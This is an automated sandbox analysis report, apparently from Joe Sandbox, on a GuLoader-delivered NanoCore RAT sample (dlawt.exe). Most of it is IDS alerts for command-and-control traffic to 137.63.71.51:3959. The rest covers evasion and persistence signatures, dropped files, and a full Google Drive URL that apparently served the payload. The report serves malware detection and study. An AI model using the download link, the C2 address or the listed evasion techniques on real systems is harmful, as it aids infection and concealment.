
Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989439592816766 09/28/22-07:37:51.693463

SID: 2816766

Source Port: 49894

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988939592025019 09/28/22-07:37:19.212158

SID: 2025019

Source Port: 49889

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987939592025019 09/28/22-07:36:18.414249

SID: 2025019

Source Port: 49879

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990339592025019 09/28/22-07:38:45.052370

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2025019

Source Port: 49903

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991339592025019 09/28/22-07:39:40.964800

SID: 2025019

Source Port: 49913

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984539592816766 09/28/22-07:33:04.507101

SID: 2816766

Source Port: 49845

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986939592025019 09/28/22-07:35:24.082364

SID: 2025019

Source Port: 49869

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 137.63.71.51192.168.11.203959498792841753 09/28/22-07:36:18.769615

SID: 2841753

Source Port: 3959

Destination Port: 49879

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989339592816766 09/28/22-07:37:46.017957

SID: 2816766

Source Port: 49893

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985939592025019 09/28/22-07:34:19.581790

SID: 2025019

Source Port: 49859

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988739592025019 09/28/22-07:37:06.777474

SID: 2025019

Source Port: 49887

Destination Port: 3959

Protocol: TCP

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) - Source IP: 137.63.71.51 - Destination IP: 192.168.11.20

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984939592025019 09/28/22-07:33:22.083297

SID: 2025019

Source Port: 49849

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986339592816766 09/28/22-07:34:47.371741

SID: 2816766

Source Port: 49863

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989739592025019 09/28/22-07:38:08.967541

SID: 2025019

Source Port: 49897

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991239592025019 09/28/22-07:39:34.701330

SID: 2025019

Source Port: 49912

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984439592816766 09/28/22-07:32:58.844712

SID: 2816766

Source Port: 49844

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988839592025019 09/28/22-07:37:13.012736

SID: 2025019

Source Port: 49888

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986839592025019 09/28/22-07:35:17.817489

SID: 2025019

Source Port: 49868

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987839592025019 09/28/22-07:36:12.211007

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2025019

Source Port: 49878

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988339592816766 09/28/22-07:36:43.312967

SID: 2816766

Source Port: 49883

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990239592025019 09/28/22-07:38:40.135284

SID: 2025019

Source Port: 49902

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989939592816766 09/28/22-07:38:22.747803

SID: 2816766

Source Port: 49899

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991539592025019 09/28/22-07:39:53.398528

SID: 2025019

Source Port: 49915

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986639592816766 09/28/22-07:35:06.415996

SID: 2816766

Source Port: 49866

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988939592816766 09/28/22-07:37:21.056763

SID: 2816766

Source Port: 49889

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985339592816766 09/28/22-07:33:48.725985

SID: 2816766

Source Port: 49853

Destination Port: 3959

Protocol: TCP

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989639592816766 09/28/22-07:38:04.102624

SID: 2816766

Source Port: 49896

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984939592816766 09/28/22-07:33:23.366082

SID: 2816766

Source Port: 49849

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988639592816766 09/28/22-07:37:01.883031

SID: 2816766

Source Port: 49886

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987639592816766 09/28/22-07:36:01.203666

SID: 2816766

Source Port: 49876

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984339592816766 09/28/22-07:32:51.953878

SID: 2816766

Source Port: 49843

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990539592025019 09/28/22-07:38:57.519593

SID: 2025019

Source Port: 49905

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985939592816766 09/28/22-07:34:21.408193

SID: 2816766

Source Port: 49859

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991839592025019 09/28/22-07:40:11.972333

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2025019

Source Port: 49918

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986939592816766 09/28/22-07:35:25.372861

SID: 2816766

Source Port: 49869

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990839592025019 09/28/22-07:39:09.986118

SID: 2025019

Source Port: 49908

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987939592816766 09/28/22-07:36:18.769843

SID: 2816766

Source Port: 49879

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984339592025019 09/28/22-07:32:50.673409

SID: 2025019

Source Port: 49843

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986639592025019 09/28/22-07:35:05.133446

SID: 2025019

Source Port: 49866

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985339592025019 09/28/22-07:33:47.442006

SID: 2025019

Source Port: 49853

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991839592816766 09/28/22-07:40:13.260540

SID: 2816766

Source Port: 49918

Destination Port: 3959

Protocol: TCP

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989039592816766 09/28/22-07:37:27.321935

SID: 2816766

Source Port: 49890

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986339592025019 09/28/22-07:34:45.527258

SID: 2025019

Source Port: 49863

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988339592025019 09/28/22-07:36:42.018012

SID: 2025019

Source Port: 49883

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990239592816766 09/28/22-07:38:40.500745

SID: 2816766

Source Port: 49902

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991239592816766 09/28/22-07:39:36.540359

SID: 2816766

Source Port: 49912

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988039592816766 09/28/22-07:36:25.166202

SID: 2816766

Source Port: 49880

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990839592816766 09/28/22-07:39:11.826405

SID: 2816766

Source Port: 49908

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985039592816766 09/28/22-07:33:30.319682

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2816766

Source Port: 49850

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991939592816766 09/28/22-07:40:19.390442

SID: 2816766

Source Port: 49919

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987039592816766 09/28/22-07:35:31.556486

SID: 2816766

Source Port: 49870

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989339592025019 09/28/22-07:37:44.176254

SID: 2025019

Source Port: 49893

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 137.63.71.51192.168.11.203959499022841753 09/28/22-07:38:40.500365

SID: 2841753

Source Port: 3959

Destination Port: 49902

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986039592816766 09/28/22-07:34:27.380495

SID: 2816766

Source Port: 49860

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985539592025019 09/28/22-07:34:00.119636

SID: 2025019

Source Port: 49855

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984539592025019 09/28/22-07:33:03.223566

SID: 2025019

Source Port: 49845

Destination Port: 3959

Protocol: TCP

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) - Source IP: 137.63.71.51 - Destination IP: 192.168.11.20

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990939592816766 09/28/22-07:39:17.489933

SID: 2816766

Source Port: 49909

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991339592816766 09/28/22-07:39:42.252029

SID: 2816766

Source Port: 49913

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 137.63.71.51192.168.11.203959498742841753 09/28/22-07:35:49.136137

SID: 2841753

Source Port: 3959

Destination Port: 49874

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990939592025019 09/28/22-07:39:16.204642

SID: 2025019

Source Port: 49909

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991639592816766 09/28/22-07:40:00.949557

SID: 2816766

Source Port: 49916

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990639592816766 09/28/22-07:39:05.076607

SID: 2816766

Source Port: 49906

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514984239592025019 09/28/22-07:32:44.468596

SID: 2025019

Source Port: 49842

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985239592025019 09/28/22-07:33:40.954696

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) - Source IP: 137.63.71.51 - Destination IP: 192.168.11.20

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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SID: 2025019

Source Port: 49852

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986239592025019 09/28/22-07:34:39.027168

SID: 2025019

Source Port: 49862

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989839592816766 09/28/22-07:38:17.064875

SID: 2816766

Source Port: 49898

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988239592025019 09/28/22-07:36:35.816027

SID: 2025019

Source Port: 49882

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989239592025019 09/28/22-07:37:37.900323

SID: 2025019

Source Port: 49892

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987239592025019 09/28/22-07:35:42.562185

SID: 2025019

Source Port: 49872

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990339592816766 09/28/22-07:38:46.330043

SID: 2816766

Source Port: 49903

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514987039592025019 09/28/22-07:35:30.267402

SID: 2025019

Source Port: 49870

Destination Port: 3959

Protocol: TCP

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991439592816766 09/28/22-07:39:48.485475

SID: 2816766

Source Port: 49914

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514985039592025019 09/28/22-07:33:28.388001

SID: 2025019

Source Port: 49850

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514989039592025019 09/28/22-07:37:25.477917

SID: 2025019

Source Port: 49890

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514986039592025019 09/28/22-07:34:26.085032

SID: 2025019

Source Port: 49860

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991939592025019 09/28/22-07:40:18.098612

SID: 2025019

Source Port: 49919

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514991539592816766 09/28/22-07:39:55.244956

SID: 2816766

Source Port: 49915

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514988039592025019 09/28/22-07:36:23.322072

SID: 2025019

Source Port: 49880

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected

Timestamp: 192.168.11.20137.63.71.514990539592816766 09/28/22-07:38:59.406668

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ET TROJAN Possible NanoCore C2 60B - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51

ETPRO TROJAN NanoCore RAT CnC 7 - Source IP: 192.168.11.20 - Destination IP: 137.63.71.51
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Networking

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

SID: 2816766

Source Port: 49905

Destination Port: 3959

Protocol: TCP

Classtype: A Network Trojan was detected
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Joe Sandbox Signatures

Snort IDS alert for network traffic

Yara detected GuLoader

Uses schtasks.exe or at.exe to add and modify task schedules

Hides that the sample has been downloaded from the Internet (zone.identifier)

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Hides threads from debuggers

Writes to foreign memory regions

Mitre Att&ck Matrix
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Behavior Graph

ID: 711461

Sample: dlawt.exe

Startdate: 28/09/2022

Architecture: WINDOWS

Score: 96

googlehosted.l.googleusercontent.com drive.google.com doc-0g-38-docs.googleusercontent.com

Snort IDS alert for
network traffic

Sigma detected: Scheduled
temp file as task from

temp location
Sigma detected: NanoCore 2 other signatures

dlawt.exe

61

        started       

CasPol.exe

4

        started       

dslmon.exe

4

        started       

dslmon.exe

3

        started       

C:\Users\user\AppData\Local\...\System.dll, PE32

dropped

Writes to foreign memory
regions Tries to detect Any.run Hides threads from debuggers

CasPol.exe

2 23

        started       

conhost.exe

        started       

conhost.exe

        started       

conhost.exe

        started       

137.63.71.51, 3959, 49842, 49843

AMANAHA-NEWCA

Seychelles

drive.google.com

142.250.186.174, 443, 49840

GOOGLEUS

United States

googlehosted.l.googleusercontent.com

142.250.186.97, 443, 49841

GOOGLEUS

United States

C:\Users\user\AppData\Roaming\...\run.dat, ISO-8859

dropped

C:\Users\user\AppData\Local\...\tmp7A08.tmp, XML

dropped

C:\Program Files (x86)\...\dslmon.exe, PE32

dropped

Uses schtasks.exe or
at.exe to add and modify

task schedules
Tries to detect Any.run Hides threads from debuggers

Hides that the sample
has been downloaded

from the Internet (zone.identifier)

schtasks.exe

1

        started       

schtasks.exe

1

        started       

conhost.exe

        started       

conhost.exe

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Behavior Graph
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source Detection Scanner Label Link

dlawt.exe 3% Virustotal Browse

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
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https://www.virustotal.com/gui/file/d4fba0fc4c7c1335a5b6be72e575a2a9a400a5fd9b0aed69389d4bba8fac7527/detection/f-d4fba0fc4c7c1335a5b6be72e575a2a9a400a5fd9b0aed69389d4bba8fac7527-1664342727


Source Detection Scanner Label Link

C:\Program Files (x86)\DSL Monitor\dslmon.exe 0% ReversingLabs

C:\Program Files (x86)\DSL Monitor\dslmon.exe 1% Virustotal Browse

C:\Program Files (x86)\DSL Monitor\dslmon.exe 0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\nsb1C0A.tmp\System.dll 2% ReversingLabs

C:\Users\user\AppData\Local\Temp\nsb1C0A.tmp\System.dll 1% Virustotal Browse

C:\Users\user\AppData\Local\Temp\nsb1C0A.tmp\System.dll 4% Metadefender Browse

Source Detection Scanner Label Link Download

1.2.dlawt.exe.410ea0.1.unpack 100% Avira ADWARE/Adwar
e.Gen7

⊘ No Antivirus matches

Source Detection Scanner Label Link

jimmac.musichall.czif 0% Avira URL Cloud safe

sun.com/2000/XMLSearch 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

drive.google.com 142.250.186.174 true false high

googlehosted.l.googleusercontent.com 142.250.186.97 true false high

doc-0g-38-docs.googleusercontent.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://doc-0g-38-
docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7ccvegr5baur8gb
8av4io695h7c3rd6h/1664343150000/14816144373961604306/*/12kdF3UKFZK3CB9va21Q67UlQDN
dJJSzV?e=download&uuid=3cf3d666-d660-416c-bcce-539871aa28db

false high

Name Source Malicious Antivirus Detection Reputation

sun.com/2000/XMLSearch dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false Avira URL Cloud: safe unknown

www.apache.org/licenses/LICENSE-2.0 dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

creativecommons.org/licenses/by-sa/4.0/ folder-download.png.1.dr false high

openoffice.org/2000/chart dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

https://doc-0g-38-docs.googleusercontent.com/c CasPol.exe, 00000003.00000003.3002061754
0.000000000135F000.00000004.00000020.000
20000.00000000.sdmp

false high

openoffice.org/2000/style dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

openoffice.org/2000/help dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

Dropped Files

Unpacked PE Files

Download File

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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openoffice.org/2000/table dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

jimmac.musichall.czif text-x-generic.png.1.dr false Avira URL Cloud: safe unknown

openoffice.org/2000/drawing dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

openoffice.org/2000/meta dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

nsis.sf.net/NSIS_ErrorError dlawt.exe, Supplicatingly.exe.3.dr false high

openoffice.org/2000/text dlawt.exe, 00000001.00000003.29438167474
.000000000294B000.00000004.00000800.0002
0000.00000000.sdmp, idxcaption.xsl.1.dr

false high

https://doc-0g-38-docs.googleusercontent.com/ CasPol.exe, 00000003.00000003.2976749724
